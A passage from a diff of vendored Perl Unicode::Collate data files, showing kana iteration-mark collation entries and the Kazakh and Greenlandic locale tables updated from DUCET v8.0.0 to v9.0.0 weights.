+30EF 30FD ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002] # <KATAKANA LETTER WA, KATAKANA ITERATION MARK>
+FF9C 30FD ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WA, KATAKANA ITERATION MARK>
+308F 309D ; [.3D87.0020.0011.0001][.3D87.0020.0010.0002] # <HIRAGANA LETTER WA, HIRAGANA ITERATION MARK>
+30EF 30FE ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WA, KATAKANA VOICED ITERATION MARK>
+FF9C 30FE ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WA, KATAKANA VOICED ITERATION MARK>
+308F 309E ; [.3D87.0020.0011.0001][.3D87.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WA, HIRAGANA VOICED ITERATION MARK>
+30F0 30FD ; [.3D88.0020.0011.0002][.3D88.0020.0010.0002] # <KATAKANA LETTER WI, KATAKANA ITERATION MARK>
+3090 309D ; [.3D88.0020.0011.0001][.3D88.0020.0010.0002] # <HIRAGANA LETTER WI, HIRAGANA ITERATION MARK>
+30F0 30FE ; [.3D88.0020.0011.0002][.3D88.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WI, KATAKANA VOICED ITERATION MARK>
+3090 309E ; [.3D88.0020.0011.0001][.3D88.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WI, HIRAGANA VOICED ITERATION MARK>
+30F1 30FD ; [.3D89.0020.0011.0002][.3D89.0020.0010.0002] # <KATAKANA LETTER WE, KATAKANA ITERATION MARK>
+3091 309D ; [.3D89.0020.0011.0001][.3D89.0020.0010.0002] # <HIRAGANA LETTER WE, HIRAGANA ITERATION MARK>
+30F1 30FE ; [.3D89.0020.0011.0002][.3D89.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WE, KATAKANA VOICED ITERATION MARK>
+3091 309E ; [.3D89.0020.0011.0001][.3D89.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WE, HIRAGANA VOICED ITERATION MARK>
+30F2 30FD ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002] # <KATAKANA LETTER WO, KATAKANA ITERATION MARK>
+FF66 30FD ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WO, KATAKANA ITERATION MARK>
+3092 309D ; [.3D8A.0020.0011.0001][.3D8A.0020.0010.0002] # <HIRAGANA LETTER WO, HIRAGANA ITERATION MARK>
+30F2 30FE ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WO, KATAKANA VOICED ITERATION MARK>
+FF66 30FE ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WO, KATAKANA VOICED ITERATION MARK>
+3092 309E ; [.3D8A.0020.0011.0001][.3D8A.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER WO, HIRAGANA VOICED ITERATION MARK>
+30F3 30FD ; [.3D8B.0020.0011.0002][.3D8B.0020.0010.0002] # <KATAKANA LETTER N, KATAKANA ITERATION MARK>
+FF9D 30FD ; [.3D8B.0020.0011.0002][.3D8B.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER N, KATAKANA ITERATION MARK>
+3093 309D ; [.3D8B.0020.0011.0001][.3D8B.0020.0010.0002] # <HIRAGANA LETTER N, HIRAGANA ITERATION MARK>
+30F4 30FD ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002] # <KATAKANA LETTER VU, KATAKANA ITERATION MARK>
+30A6 3099 30FD ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002] # <KATAKANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF73 FF9E 30FD ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3094 309D ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002] # <HIRAGANA LETTER VU, HIRAGANA ITERATION MARK>
+3046 3099 309D ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002] # <HIRAGANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30F4 30FE ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VU, KATAKANA VOICED ITERATION MARK>
+30A6 3099 30FE ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF73 FF9E 30FE ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3094 309E ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER VU, HIRAGANA VOICED ITERATION MARK>
+3046 3099 309E ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30F5 30FD ; [.3D60.0020.000F.0002][.3D60.0020.0010.0002] # <KATAKANA LETTER SMALL KA, KATAKANA ITERATION MARK>
+3095 309D ; [.3D60.0020.000F.0001][.3D60.0020.0010.0002] # <HIRAGANA LETTER SMALL KA, HIRAGANA ITERATION MARK>
+30F5 30FE ; [.3D60.0020.000F.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL KA, KATAKANA VOICED ITERATION MARK>
+3095 309E ; [.3D60.0020.000F.0001][.3D60.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL KA, HIRAGANA VOICED ITERATION MARK>
+30F6 30FD ; [.3D63.0020.000F.0002][.3D63.0020.0010.0002] # <KATAKANA LETTER SMALL KE, KATAKANA ITERATION MARK>
+3096 309D ; [.3D63.0020.000F.0001][.3D63.0020.0010.0002] # <HIRAGANA LETTER SMALL KE, HIRAGANA ITERATION MARK>
+30F6 30FE ; [.3D63.0020.000F.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL KE, KATAKANA VOICED ITERATION MARK>
+3096 309E ; [.3D63.0020.000F.0001][.3D63.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL KE, HIRAGANA VOICED ITERATION MARK>
+30F7 30FD ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002] # <KATAKANA LETTER VA, KATAKANA ITERATION MARK>
+30EF 3099 30FD ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002] # <KATAKANA LETTER WA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF9C FF9E 30FD ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+30F7 30FE ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VA, KATAKANA VOICED ITERATION MARK>
+30EF 3099 30FE ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF9C FF9E 30FE ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+30F8 30FD ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002] # <KATAKANA LETTER VI, KATAKANA ITERATION MARK>
+30F0 3099 30FD ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002] # <KATAKANA LETTER WI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+30F8 30FE ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VI, KATAKANA VOICED ITERATION MARK>
+30F0 3099 30FE ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+30F9 30FD ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002] # <KATAKANA LETTER VE, KATAKANA ITERATION MARK>
+30F1 3099 30FD ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002] # <KATAKANA LETTER WE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+30F9 30FE ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VE, KATAKANA VOICED ITERATION MARK>
+30F1 3099 30FE ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+30FA 30FD ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002] # <KATAKANA LETTER VO, KATAKANA ITERATION MARK>
+30F2 3099 30FD ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002] # <KATAKANA LETTER WO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF66 FF9E 30FD ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+30FA 30FE ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER VO, KATAKANA VOICED ITERATION MARK>
+30F2 3099 30FE ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER WO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF66 FF9E 30FE ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+31F0 30FD ; [.3D62.0020.000F][.3D62.0020.0010.0002] # <KATAKANA LETTER SMALL KU, KATAKANA ITERATION MARK>
+31F0 30FE ; [.3D62.0020.000F][.3D62.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL KU, KATAKANA VOICED ITERATION MARK>
+31F1 30FD ; [.3D66.0020.000F][.3D66.0020.0010.0002] # <KATAKANA LETTER SMALL SI, KATAKANA ITERATION MARK>
+31F1 30FE ; [.3D66.0020.000F][.3D66.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL SI, KATAKANA VOICED ITERATION MARK>
+31F2 30FD ; [.3D67.0020.000F][.3D67.0020.0010.0002] # <KATAKANA LETTER SMALL SU, KATAKANA ITERATION MARK>
+31F2 30FE ; [.3D67.0020.000F][.3D67.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL SU, KATAKANA VOICED ITERATION MARK>
+31F3 30FD ; [.3D6E.0020.000F][.3D6E.0020.0010.0002] # <KATAKANA LETTER SMALL TO, KATAKANA ITERATION MARK>
+31F3 30FE ; [.3D6E.0020.000F][.3D6E.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL TO, KATAKANA VOICED ITERATION MARK>
+31F4 30FD ; [.3D71.0020.000F][.3D71.0020.0010.0002] # <KATAKANA LETTER SMALL NU, KATAKANA ITERATION MARK>
+31F5 30FD ; [.3D74.0020.000F][.3D74.0020.0010.0002] # <KATAKANA LETTER SMALL HA, KATAKANA ITERATION MARK>
+31F5 30FE ; [.3D74.0020.000F][.3D74.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HA, KATAKANA VOICED ITERATION MARK>
+31F6 30FD ; [.3D75.0020.000F][.3D75.0020.0010.0002] # <KATAKANA LETTER SMALL HI, KATAKANA ITERATION MARK>
+31F6 30FE ; [.3D75.0020.000F][.3D75.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HI, KATAKANA VOICED ITERATION MARK>
+31F7 30FD ; [.3D76.0020.000F][.3D76.0020.0010.0002] # <KATAKANA LETTER SMALL HU, KATAKANA ITERATION MARK>
+31F7 30FE ; [.3D76.0020.000F][.3D76.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HU, KATAKANA VOICED ITERATION MARK>
+31F8 30FD ; [.3D77.0020.000F][.3D77.0020.0010.0002] # <KATAKANA LETTER SMALL HE, KATAKANA ITERATION MARK>
+31F8 30FE ; [.3D77.0020.000F][.3D77.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HE, KATAKANA VOICED ITERATION MARK>
+31F9 30FD ; [.3D78.0020.000F][.3D78.0020.0010.0002] # <KATAKANA LETTER SMALL HO, KATAKANA ITERATION MARK>
+31F9 30FE ; [.3D78.0020.000F][.3D78.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HO, KATAKANA VOICED ITERATION MARK>
+31FA 30FD ; [.3D7B.0020.000F][.3D7B.0020.0010.0002] # <KATAKANA LETTER SMALL MU, KATAKANA ITERATION MARK>
+31FB 30FD ; [.3D82.0020.000F][.3D82.0020.0010.0002] # <KATAKANA LETTER SMALL RA, KATAKANA ITERATION MARK>
+31FC 30FD ; [.3D83.0020.000F][.3D83.0020.0010.0002] # <KATAKANA LETTER SMALL RI, KATAKANA ITERATION MARK>
+31FD 30FD ; [.3D84.0020.000F][.3D84.0020.0010.0002] # <KATAKANA LETTER SMALL RU, KATAKANA ITERATION MARK>
+31FE 30FD ; [.3D85.0020.000F][.3D85.0020.0010.0002] # <KATAKANA LETTER SMALL RE, KATAKANA ITERATION MARK>
+31FF 30FD ; [.3D86.0020.000F][.3D86.0020.0010.0002] # <KATAKANA LETTER SMALL RO, KATAKANA ITERATION MARK>
 F967      ; [.8961.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967
 FA70      ; [.89AD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70
 F905      ; [.828D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kk.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kk.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kk.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,13 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0451      ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO
-0435 0308 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO
-0401      ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO
-0415 0308 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO
-04AF      ; [.20A1.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U
-04AE      ; [.20A1.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U
-0456      ; [.2112.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
-0406      ; [.2112.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0451      ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO
+0435 0308 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO
+0401      ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO
+0415 0308 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO
+04AF      ; [.2126.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U
+04AE      ; [.2126.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U
+0456      ; [.2197.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
+0406      ; [.2197.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kl.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kl.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/kl.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,75 +1,75 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-0138      ; [.1D9C.0021.0002] # LATIN SMALL LETTER KRA
-004B 0027 ; [.1D9C.0021.0008] # <LATIN CAPITAL LETTER K, APOSTROPHE>
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E6      ; [.1F11.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E4      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-0119      ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F8      ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-00F6      ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE
-00E5      ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F13.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+0138      ; [.1E21.0021.0002] # LATIN SMALL LETTER KRA
+004B 0027 ; [.1E21.0021.0008] # <LATIN CAPITAL LETTER K, APOSTROPHE>
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E6      ; [.1F96.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E4      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+0119      ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F8      ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+00F6      ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
